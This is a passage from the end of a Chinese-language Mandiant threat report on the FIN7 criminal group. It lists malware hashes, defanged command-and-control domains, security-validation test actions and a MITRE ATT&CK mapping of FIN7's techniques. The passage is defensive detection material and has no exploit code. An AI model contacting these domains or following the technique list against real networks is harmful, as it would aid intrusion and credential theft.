感谢 Van Ta、Rufus Brown、Dan Perez、Barry Vengerik、Kimberly Goody 和 Andrew Thompson 对本内容和 FIN7 幕后研究进行技术审查。此外,感谢所有 Mandiant 事件响应和 Managed Defense 响应者收集有价值的入侵数据,使我们能够进行研究。
侵害指标 (IOC)
指标 | 笔记 |
0c6b41d25214f04abf9770a7bdfcee5d | BOATLAUNCH 32 位 |
21f153810b82852074f0f0f19c0b3208 | BOATLAUNCH 64 位 |
02699f95f8568f52a00c6d0551be2de5 | POWERPLANT |
0291df4f7303775225c4044c8f054360 | POWERPLANT |
0fde02d159c4cd5bf721410ea9e72ee2 | POWERPLANT |
2cbb015d4c579e464d157faa16994f86 | POWERPLANT |
3803c82c1b2e28e3e6cca3ca73e6cce7 | POWERPLANT |
5a6bbcc1e44d3a612222df5238f5e7a8 | POWERPLANT |
833ae560a2347d5daf05d1f670a40c54 | POWERPLANT |
b637d33dbb951e7ad7fa198cbc9f78bc | POWERPLANT |
bce9b919fa97e2429d14f255acfb18b4 | POWERPLANT |
d1d8902b499b5938404f8cece2918d3d | POWERPLANT |
edb1f62230123abf88231fc1a7190b60 | POWERPLANT |
findoutcredit[.]com | POWERPLANT C2 |
againcome[.]com | POWERPLANT C2 |
modestoobgyn[.]com | POWERPLANT C2 |
myshortbio[.]com | POWERPLANT C2 |
estetictrance[.]com | POWERPLANT C2 |
internethabit[.]com | POWERPLANT C2 |
bestsecure2020[.]com | POWERPLANT C2 |
chyprediction[.]com | POWERPLANT C2 |
d405909fd2fd021372444b7b36a3b806 | POWERTRASH 加密器和 CARBANAK 有效负载 |
122cb55f1352b9a1aeafc83a85bfb165 | CROWVIEW(BIRDWATCH/JssLoader 变体) |
domenuscdm[.]com | CROWVIEW/LOADOUT C2 |
936b142d1045802c810e86553b332d2d | LOADOUT |
23e1725769e99341bc9af48a0df64151 | LOADOUT |
4d56a1ca28d9427c440ec41b4969caa2 | LOADOUT |
50260f97ac2365cf0071e7c798b9edda | LOADOUT |
spontaneousance[.]com | LOADOUT C2 |
fashionableeder[.]com | LOADOUT C2 |
incongruousance[.]com | LOADOUT C2 |
electroncador[.]com | LOADOUT C2 |
6fba605c2a02fc62e6ff1fb8e932a935 | BEAKDROP |
49ac220edf6d48680f763465c4c2771e | 信标 |
astara20[.]com | 信标C2 |
coincidencious[.]com | 信标C2 |
52f5fcaf4260cb70e8d8c6076dcd0157 | 包含 Atera 代理的木马安装程序 |
78c828b515e676cc0d021e229318aeb6 | WINGNIGHT |
70bf088f2815a61ad2b1cc9d6e119a7f | WINGNIGHT |
4961aec62fac8beeafffa5bfc841fab8 | FLYHIGH |
Mandiant 安全验证操作
组织可以通过Mandiant 安全验证针对超过 25 项操作验证其安全控制 。
视频 | 名称 |
A150-527 | 命令和控制 – FIN7、BATELEUR、签到 |
A150-528 | 命令与控制 – FIN7、GRIFFON、签到 |
A151-165 | 命令和控制 – FIN7、GRIFFON、DNS 查询 #1 |
A151-166 | 命令和控制 – FIN7、GRIFFON、DNS 查询 #2 |
A104-585 | 主机 CLI – FIN7,通过 WMI 和 Mshta 执行本地 Javascript |
A150-546 | 恶意文件传输 – FIN7,CARBANAK,下载,变体 #1 |
A150-548 | 恶意文件传输 – FIN7,CARBANAK,下载,变体 #3 |
A150-710 | 恶意文件传输 – FIN7,DICELOADER,下载,变体 #1 |
A150-549 | 恶意文件传输 – FIN7,DRIFTPIN,下载,变体 #1 |
A150-550 | 恶意文件传输 – FIN7,DRIFTPIN,下载,变体 #2 |
A151-168 | 恶意文件传输 – FIN7、GRIFFON、下载、JavaScript 变体 |
A150-553 | 恶意文件传输 – FIN7,GRIFFON,下载,变体 #1 |
A150-554 | 恶意文件传输 – FIN7,GRIFFON,下载,变体 #2 |
A150-555 | 恶意文件传输 – FIN7,GRIFFON,下载,变体 #3 |
A150-572 | 恶意文件传输 – FIN7,SUPERSOFT,下载,变体 #1 |
A150-729 | 恶意文件传输 – FIN7、TAKEOUT、下载、变体 #1 |
A150-730 | 恶意文件传输 – FIN7、TAKEOUT、下载、变体 #2 |
A150-731 | 恶意文件传输 – FIN7、TAKEOUT、下载、变体 #3 |
A150-585 | 网络钓鱼电子邮件 – 恶意附件、FIN7、BATELEUR DOC Lure |
A150-586 | 网络钓鱼电子邮件 – 恶意附件、FIN7、GRIFFON DOCM 诱饵 |
A151-167 | 网络钓鱼电子邮件 – 恶意附件、FIN7、GRIFFON、Windows 11 主题诱饵 |
A150-587 | 网络钓鱼电子邮件 – 恶意附件、FIN7、跟踪像素 |
A150-590 | 受保护的剧院 – FIN7、BATELEUR、执行 |
A151-044 | 受保护的剧院 – FIN7、CARBANAK、执行 |
A150-366 | 受保护的剧院 – FIN7、CULTSWAP、执行 |
A150-591 | 受保护的剧院 – FIN7、格里芬、处决 |
A151-170 | 受保护的剧院 – FIN7、GRIFFON、执行、JavaScript 变体 |
A151-169 | 受保护的剧院 – FIN7、GRIFFON、执行、Word 文档变体 |
MITRE ATT&CK 映射
在整个 2020 年和 2021 年,Mandiant 观察到 FIN7 使用以下技术:
执行
- T1059:命令和脚本解释器
- T1059.001:PowerShell
- T1059.003:Windows 命令外壳
- T1059.005:Visual Basic
- T1059.007:JavaScript
- T1204.001:恶意链接
- T1204.002:恶意文件
- T1569.002:服务执行
初始访问
- T1195.002:妥协软件供应链
- T1199:信任关系
- T1566.001:鱼叉式钓鱼附件
- T1566.002:鱼叉式钓鱼链接
影响
- T1491.002:外部污损
资源开发
- T1583.003:虚拟专用服务器
- T1588.003:代码签名证书
- T1588.004:数字证书
- T1608.003:安装数字证书
- T1608.005:链接目标
防御规避
- T1027:混淆文件或信息
- T1027.005:从工具中移除指示器
- T1036:伪装
- T1036.003:重命名系统实用程序
- T1055:进程注入
- T1070.004:文件删除
- T1140:去混淆/解码文件或信息
- T1218.010:Regsvr32
- T1218.011:Rundll32
- T1497.001:系统检查
- T1553.002:代码签名
- T1564.003:隐藏窗口
- T1620:反射代码加载
收藏
- T1113:屏幕截图
- T1213:来自信息存储库的数据
- T1560:归档收集的数据
横向运动
- T1021.001:远程桌面协议
- T1021.004:SSH
命令与控制
- T1071.001:网络协议
- T1090:代理
- T1095:非应用层协议
- T1105:入口工具转移
- T1132.001:标准编码
- T1573.002:非对称密码学
发现
- T1012:查询注册表
- T1033:系统所有者/用户发现
- T1057:进程发现
- T1069:权限组发现
- T1069.002:域组
- T1082:系统信息发现
- T1083:文件和目录发现
- T1087:账户发现
- T1087.002:域帐户
- T1482:域信任发现
- T1518:软件发现
凭证访问
- T1110.002:密码破解
- T1555.003:来自 Web 浏览器的凭据
- T1558.003:Kerberoasting
转载请注明出处及链接